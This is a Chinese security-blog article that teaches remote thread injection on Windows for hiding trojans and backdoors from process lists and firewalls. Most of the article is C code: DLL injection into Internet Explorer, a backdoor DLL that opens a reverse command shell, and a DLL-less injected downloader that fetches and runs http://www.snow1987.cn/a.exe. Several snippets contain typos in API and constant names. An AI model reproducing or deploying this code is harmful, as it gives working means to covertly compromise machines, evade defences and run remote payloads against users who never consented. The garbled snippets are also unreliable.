查看原文
其他

远程线程技术浅析

计算机与网络安全 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


微信公众号:计算机与网络安全

ID:Computer-network

远程线程技术是指通过在另一个进程中创建远程线程的方法进入某个进程的内存地址空间。利用远程线程技术可以实现木马程序和后门的隐藏,而且该项技术已得到黑客的应用。


一、远程线程注入技术


远程线程中的远程不是跨越计算机,而是跨越进程。假如有A和B两个进程,其中进程A是系统的正常进程,而进程B是木马进程。如果在进程A中启动一个新线程,并且用这个线程来实现木马功能,当新线程启动后,B进程自动退出。此时在进程列表中就看不到木马线程,并且新线程是通过系统正常进程访问网络,就不会被防火墙拦截。


创建远程线程的一般流程如图1所示。

图1  创建远程线程的一般流程

首先需要提升后门进行权限,这里只需把自身进程权限设置为调试权限。如果要注入的是系统进程,如果没有提升后门权限,当调用OpenProcess函数时,就会返回NULL。


提升后门自身权限的代码就是模板函数(EnableDebugPriv),其具体内容如下:

如果想提升自身进行调试权限,则可以用以下的格式调用该函数:


if(EnableDebugPriv(SE_DEBUG_NAME)) //获得调试权限

{

printf("add privilege error");

return FALSE;

}


在成功提升后门进程权限后,就可以调用OpenProcess函数打开目标进程,只需将OpenProcess函数的第一个参数dwDesiredAccess指向进行对象。由于是创建远程线程,可将其值直接设置为Process_ALL_ACCESS,即所有权限。其函数的具体调用方式如下:

在写入内存之前,需要让系统分配一个内存空间,这里使用VirtualAllocEx函数来实现,该函数的具体格式如下:


LPVOID VirtualAllocEx(

HANDLE hProcess,

LPVOID lpAddress,

SIZE_T dwSize,

DWORD flAllocationType,

DWORD flProtect );


其中各个参数的具体作用如下。


hProcess:申请内存所在的进程句柄。

lpAddress:保留页面的内存地址,一般用NULL自动分配。

dwSize:欲分配的内存大小,以字节为单位。实际分配的内存大小是页内存大小的整数倍。

flAllocationType:该参数用于设置内存空间的属性,要保留还是提交给物理存储器,这里设置为MEM_COMMT,即保留。

flProtect:内存空间的保护属性,这里设置为PAGE_READWRITE可读写。


如果该函数调用成功,则返回申请的内存空间首地址。在申请内存空间之后,就可以将木马DLL全路径文件名的字符串写入该内存中。


在写入过程中需调用WriteProcessMemory函数,该函数的具体格式如下:


BOOL WriteProcessMemory(

HANDLE hProcess,

LPVOID lpBaseAddress,

LPVOID lpBuffer,

DWORD nSize,

LPDWORD lpNumberOfBytesWritten );


其中各个参数的具体含义如下。


hProcess:要写入进程内存的进程句柄。

lpBaseAddress:要写入内存的起始地址,由VirtualAllocEx函数返回。

lpBuffer:要写入数据的缓冲区。

nSize:要写入的字节数。

lpNumberOfBytesWritten:实际写入的字节数。


如果写入内存成功,则返回TRUE。这部分实现代码如下:


char *pszLibFileRemote;

//申请存放dll文件名的路径

pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,

NULL, lstrlen(DllFullPath)+1,

MEM_COMMIT, PAGE_READWRITE);

if(pszLibFileRemote==NULL)

{

printf("VirtualAllocEx error\n");

return FALSE;

}

//把dll的完整路径写入内存

if(WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(void *)DllFullPath,lstrlen(DllFullPath)+1,NULL) == 0)

{

printf("WriteProcessMemory error\n");

return FALSE;

}


由于LoadLibrary函数是一个KERNEL32.DLL文件导出函数,每个系统进程都会加载这个DLL,所以该函数的代码就会映射到每个系统进程中。由于KERNEL32.DLL是系统的DLL,所以不同进程中同一函数的地址是相同的,本进程的LoadLibrary函数地址也可以与其他进程相同。


可以使用GetProAddress函数得到LoadLibrary函数的地址,该函数的调用形式如下:


GetProcAddress(GetModuleHandle(TEXT("Kernel")),"LoadLibararyA");


其中GetModuleHandle函数的作用是获取一个应用程序或动态连接库的模块句柄,它只包含一个参数,该参数指向一个模块的文件名。如果该函数调用成功,则返回模块句柄。


要创建一个远程线程,则需使用微软提供的CreateRemoteThread函数,该函数可以在其他进程中创建新线程。其具体格式如下:


HANDLE CreateRemoteThread(

HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId);


其中各个参数的作用如下。


hProcess:要创建远程线程的进程句柄。

lpThreadAttributes:指向线程的安全描述结构体的指针,一般设置为NULL,表示使用默认的安全级别。

dwStackSize:线程堆栈大小,一般设置为0,表示使用默认的大小,一般为1M。

lpStartAddress:线程函数的地址。它不是指向本身进程内存中的函数地址,而是目标进程内存中的函数地址。

lpParameter:线程参数。

dwCreationFlags:线程的创建方式,其中CREATE_SUSPENDED以挂起方式创建。

lpThreadId:输出参数,记录创建的远程线程的ID。


可以看出这个函数是CreateThread函数的扩充,但是它比CreateThread函数多了hProcess参数,该参数指向要创建新线程的进程的句柄。


在编程过程中如果注入的进程不是系统进程(如IE进程),则在注入进程前调用CreateRemoteThread也是不会出错的。


有了上面的基础,就可以很容易地写出注入函数,具体的内容如下:


BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

{

HANDLE hRemoteProcess;

if(EnableDebugPriv(SE_DEBUG_NAME)) //获得调试权限

{

printf("add privilege error");

return FALSE;

}

if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId))==NULL)

//打开目标进程

{

printf("OpenProcess error\n");

return FALSE;

}

char *pszLibFileRemote;

pszLibFileRemote=(char *)VirtualAllocEx( hRemoteProcess,

NULL, lstrlen(DllFullPath)+1,

MEM_COMMIT, PAGE_READWRITE); //申请存放dll文件名的路径

if(pszLibFileRemote==NULL)

{

printf("VirtualAllocEx error\n");

return FALSE;

}

if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void*)DllFullPath,lstrlen(DllFullPath)+1,NULL) == 0) //把dll的完整路径写入内存

{

printf("WriteProcessMemory error\n");

return FALSE;

}

PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE) //得到LoadLibraryA函数地址

GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");

if(pfnStartAddr == NULL)

{

printf("GetProcAddress error\n");

return FALSE;

}

HANDLE hRemoteThread;

if( (hRemoteThread = CreateRemoteThread(hRemoteProcess,NULL,0, pfnStartAddr,pszLibFileRemote,0,NULL))==NULL) //启动远程线程

{

printf("CreateRemoteThread error\n");

return FALSE;

}

return TRUE;

}


可以看出,InjectDll函数包含DllFullPath和dwRemoteProcessId两个参数,前者是后门dll全文件名;而后者是需要插入进程的ID号。如果该函数调用成功,则返回TRUE。


到这里注入功能还没有实现,因为要传递给InjectDll函数是一个进程的ID,如要注入explorer.exe进程,则要给InjectDll函数传递该进程的ID号。而每次启动explorer.exe时,其所对应的进行ID都是不同的,所以就必须通过进程名来得到进程ID。


下面通过GetProcessID函数得到进程ID的具体实现代码:


DWORD GetProcessID(char *ProcessName)

{

PROCESSENTRY32 pe32;

pe32.dwSize=sizeof(pe32);

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); //获得系统内所有进程快照

if(hProcessSnap==INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot error");

return 0;

}

BOOL bProcess=Process32First(hProcessSnap,&pe32); //枚举列表中的第一个进程

while(bProcess)

{

if(strcmp(strupr(pe32.szExeFile),strupr(ProcessName))==0) //比较找到的进程名和要查找的进程名,一样则返回进程ID

return pe32.th32ProcessID;

bProcess=Process32Next(hProcessSnap,&pe32); //继续查找

}

CloseHandle(hProcessSnap);

return 0;

}


不难看出,该函数只有一个参数,其作用是指向要查找进程名的字符串指针。如果该函数调用成功则返回进程ID,否则将返回0。


在得到进程ID后,就可以对IE进程进行注入。其实现代码如下:


int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR     lpCmdLine,

int       nCmdShow)

{

char Path[255];

char DllPath[255];

GetSystemDirectory(Path,sizeof(Path)); //得到Widnows系统路径

Path[3]=0x00; //0x00截断字符,得到盘符

strcat(Path,"Program Files\\Internet Explorer\\iexplore.exe");

//得到IE带路径文件名

WinExec(Path,SW_HIDE); //启动IE,为了防止系统中没有IE进程

Sleep(5000); //暂停5秒,等待IE启动

DWORD Pid=GetProcessID("iexplore.exe"); //得到IE进程

GetCurrentDirectory(sizeof(DllPath),DllPath); //得到程序自身路径

strcat(DllPath,"\\BackDoorDll.dll");//得到DLL带路径文件名

InjectDll(DllPath,Pid); //注入IE进程

return 0;

}


其中Sleep函数可让程序暂停指定的时间。它只有一个参数,该参数表示要暂停的毫秒数。而WinExec函数用于运行指定的程序,它有两个参数,第一个参数是指向要运行程序带路径文件名的字符串指针;而第二个参数定义启动程序的常数值,SW_HIDE表示隐藏窗口。

二、编写远程线程注入后门


如果后门运用了远程线程技术,当然就没有进程,同时访问网络也是通过系统正常进程来完成,所以就可以避开防火墙的拦截。下面介绍如何实现远程线程注入的反向链接后门。


先创建一个DLL工程,再把后门代码封装成一个函数写入这个DLL工程,最后在DLLMain函数中调用这个函数。但在实际操作中就会发现:注入的进程被中断。这是由于位于DLL中的DLLMain函数没有返回而导致其主线程的中断。为解决这个问题,可把这个后门的功能代码写出一个线程函数,在DLLMain函数中调用CreateThread函数创建并启动这个线程。


后门DLL的实现代码如下:


DWORD WINAPI DoorThread(LPVOID lpParam)

{

char wMessage[512] = "\r\n--------------------by 新起点--------------------\r\n";

BYTE minorVer = 2;

BYTE majorVer = 2;

WSADATA wsaData;

WORD sockVersion = MAKEWORD(minorVer, majorVer);

if(WSAStartup(sockVersion, &wsaData) != 0)

return 0;

SOCKET s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

if(s == INVALID_SOCKET)

{

printf(" socket error \n");

return 0;

}

sockaddr_in sin;

sin.sin_family = AF_INET;

sin.sin_port = htons(4500);

sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

if(connect(s, (sockaddr*)&sin, sizeof(sin)) == -1)

{

printf(" connect error \n");

return 0;

}

if (send(s,wMessage,strlen(wMessage),0)==SOCKET_ERROR)

{

printf("Send message error \n");

return 0;

}

cmdshell(s);

return 0;

}

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH: //DLL被加载到内存时

{

DWORD ThreadId;

CreateThread(NULL,NULL,DoorThread,NULL,NULL,&ThreadId);

break;

}

default:break;

}

return TRUE;

}


通过上述代码可以实现后门的DLL,该后门的注入程序与注册程序是一样的,在这里只需在main函数中调用它即可。


三、远程线程技术的发展


任何一种黑客技术,都在不断地发展,远程线程技术当然也不例外。前面介绍的远程线程技术,由于调用LoadLibrary函数加载DLL文件,当远程线程启动后,在目标进程的模块中可以发现后门的DLL文件。


在使用DLL的情况下,也可让其在进程模块中消失。先在自身进程中装载DLL文件,返回装载入内存的首地址,还需得到该DLL模块在进程中的大小和后门线程函数的地址(该线程函数地址是DLL文件中一个导出函数);再在目标进程中申请相同大小的内存空间,得到首地址,并把自身进程空间中DLL模块的数据复制到目标进程申请的内存空间中;根据自身进程中的模块的首地址、线程函数地址和目标进程中申请的内存空间的首地址,计算出目标进程中线程函数的地址;最后根据得到的地址,创建并启动远程线程。


下面详细介绍不使用DLL文件实现进程注入的方法。由于CreateRemoteThread函数的IpStartAddress参数指向的是线程函数地址(目标进程中的函数地址),因此可将木马函数写入目标进程的内存空间中调用CreateRemoteThread函数创建线程,但实现起来有一定难度。


其实先在注入程序中定位要用到的API函数的地址,写入目标进程内存就可以实现将木马函数写到目标进程的内存空间中。另外,在木马函数中还需要调用一些API函数,那么要定位到这些API函数的地址也是一个需要解决的问题。在这里只需将用到的字符串写入目标进程内存即可解决这个问题。


综合这两个问题的解决方法,只需要先定义一个结构,在此结构中存入要用到的API函数地址和字符串,最后把这个结构写入内存,从而得到写入位置的内存的起始地址。


该结构的具体内容如下:


typedef struct _RemotePara

{

char Url[255]; //下载文件的url

char FilePath[255]; //保存文件的路径

DWORD DownAddr; //URLDownloadToFile函数的地址

DWORD ExecAddr; //WinexeC函数的地址

}RemotePara;


还需把实现后门功能的线程函数写入目标进程的内存空间中。由于WriteProcessMemory函数的nsize参数是指向写入内存的字节数,所以在写入内存前,需要定位线程函数的大小。在这里可以设置一个很大的值,只要写入的数据的字节数不超过这个值就不会出错。


下面以插入一个IE进程的下载者为例介绍实现进程注入的具体过程。需要先调用URLDownloadToFile函数下载文件,该函数是一个Urlmon.dll中的导出函数。


下载文件的实现代码如下:


DWORD_stdcall ThreadProc(RemotePara *lpPara)

{

typedef UINT (_stdcall *MWinExec)(LPCSTR lpCmdLine, UINT uCmdSho

w);

//定义WinexeC函数的原型

typedef HRESULT (_stdcall *MURLDownloadToFile)(LPUNKNOWN pCaller, LPCTSTR

szURL, LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB); //定义URLDownloadToFile函数的原型

MURLDownloadToFile myURLDownloadToFile;

myURLDownloadToFile=(MURLDownloadToFile)lpPara->DownAddr; //从结构中得到URLDownloadToFile函数的地址

myURLDownloadToFile(0,lpPara->Url,lpPara->FilePath,0,0); //调用函数下载文件

MWinExec myWinExec;

myWinExec=(MWinExec)lpPara->ExecAddr; //从结构中得到WinexeC函数的地址

myWinExec(lpPara->FilePath,1); //调用函数运行下载的文件

return 0;

}


当文件下载完毕之后,就需要运行下载的文件,在这里需要调用WinexeC函数,它是kernel.dll中的一个导出函数。剩下的工作就是把数据写入内存和调用相应的函数创建远程线程,其实现代码如下:


BOOL Inject(const DWORD dwRemoteProcessId)

{

if(EnableDebugPriv(SE_DEBUG_NAME)) //提升进程权限为调试权限

{

printf("add privilege error");

return FALSE;

}

HANDLE hWnd=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId); //打开进程

if (!hWnd)

{

printf("OpenProcess failed");

return FALSE;

}

void *pRemoteThread= VirtualAllocEx(hWnd, 0, 1024*4, MEM_COMMIT|MEM_RESERVE,

PAGE_ EXECUTE_READWRITE); //申请内存空间

if (!pRemoteThread)

{

printf("VirtualAllocEx failed");

return FALSE;

}

if (!WriteProcessMemory(hWnd,pRemoteThread,&ThreadProc,1024*4,0))

//把远程的函数写入内存

{

printf("WriteProcessMemory failed");

return FALSE;

}

RemotePara myRemotePara; //设置RemotePara结构

ZeroMemory(&myRemotePara,sizeof(RemotePara));

HINSTANCE hurlmon=LoadLibrary("urlmon.dll");

HINSTANCE kernel=LoadLibrary("kernel32.dll");

myRemotePara.DownAddr=(DWORD)GetProcAddress(hurlmon,"URLDownloadToFileA");

myRemotePara.ExecAddr=(DWORD)GetProcAddress(kernel,"WinExec");

char urlfile[255];

strcpy(urlfile,"http://www.snow1987.cn/a.exe");

strcpy(myRemotePara.Url,urlfile);

strcpy(myRemotePara.FilePath,"c:\\a.exe");

RemotePara *pRemotePara=(RemotePara *)VirtualAllocEx(hWnd,0,sizeof(RemotePara),MEM_COMMIT| MEM_RESERVE,PAGE_EXECUTE_READWRITE); //申请内存空间

if (!pRemotePara)

{

printf("VirtualAllocEx failed");

return FALSE;

}

if (!WriteProcessMemory(hWnd,pRemotePara,&myRemotePara,sizeof(myRemotePara),0))

//写入内存

{

printf("WriteProcessMemory failed");

return FALSE;

}

HANDLE

hThread=CreateRemoteThread(hWnd,0,0,(LPTHREAD_START_ROUTINE)pRemoteThread, pRemotePara,0,0); //建立线程

if (!hThread)

{

printf("CreateRemoteThread failed");

return FALSE;

}

return true;

}

微信公众号:计算机与网络安全

ID:Computer-network

【推荐书籍】

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存